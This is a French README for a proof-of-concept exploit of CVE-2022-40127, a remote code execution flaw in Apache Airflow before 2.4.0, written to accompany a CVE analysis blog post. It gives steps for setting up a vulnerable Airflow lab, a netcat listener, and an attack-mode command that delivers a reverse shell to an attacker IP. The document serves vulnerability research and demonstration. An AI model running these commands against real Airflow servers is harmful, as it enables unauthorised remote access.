
Preuve de concept d'exploitation pour CVE-2022-40127 ciblant l'exécution de code à distance (RCE) dans Apache Airflow via un paramètre run_id malveillant, avec livraison automatisée d'un shell inversé.
PoC pour CVE-2022-40127, une vulnérabilité RCE d'Apache Airflow affectant les versions antérieures à 2.4.0.
La description du rapport officiel indique :
Une vulnérabilité dans les DAGs d'exemple d'Apache Airflow permet à un attaquant ayant accès à l'interface utilisateur et pouvant déclencher des DAGs, d'exécuter des commandes arbitraires via le paramètre run_id fourni manuellement. Ce problème affecte Apache Airflow dans les versions antérieures à 2.4.0.
Ce dépôt a été créé pour un article de blog d'analyse CVE disponible sur le blog vsociety.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Vous pouvez cloner le dépôt :
git clone https://github.com/jakabakos/CVE-2022-40127.git
Téléchargez le fichier docker-compose depuis le dépôt officiel
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Exécutez Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
Dans ce cas, le nom d'utilisateur et le mot de passe seront airflow.
Basé sur les instructions d'installation officielles :
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Vous pouvez vérifier si l'installation a réussi avec les commandes which airflow et/ou airflow info.
Exécutez Airflow
airflow standalone
Consultez le mot de passe et le nom d'utilisateur générés dans les journaux.
Tout d'abord, installez les paquets requis avec pip :
pip3 install -r requirements.txt
Consultez les options disponibles avec :
python3 exploit.py --help
Vous pouvez vérifier si l'hôte peut être exploité ou non :
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Configurez un écouteur local pour le shell inverse dans une autre session de terminal :
nc -lvnp 4242
Exécutez le script en mode attaque avec cette commande :
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Vous devriez voir la connexion dans la minute qui suit.
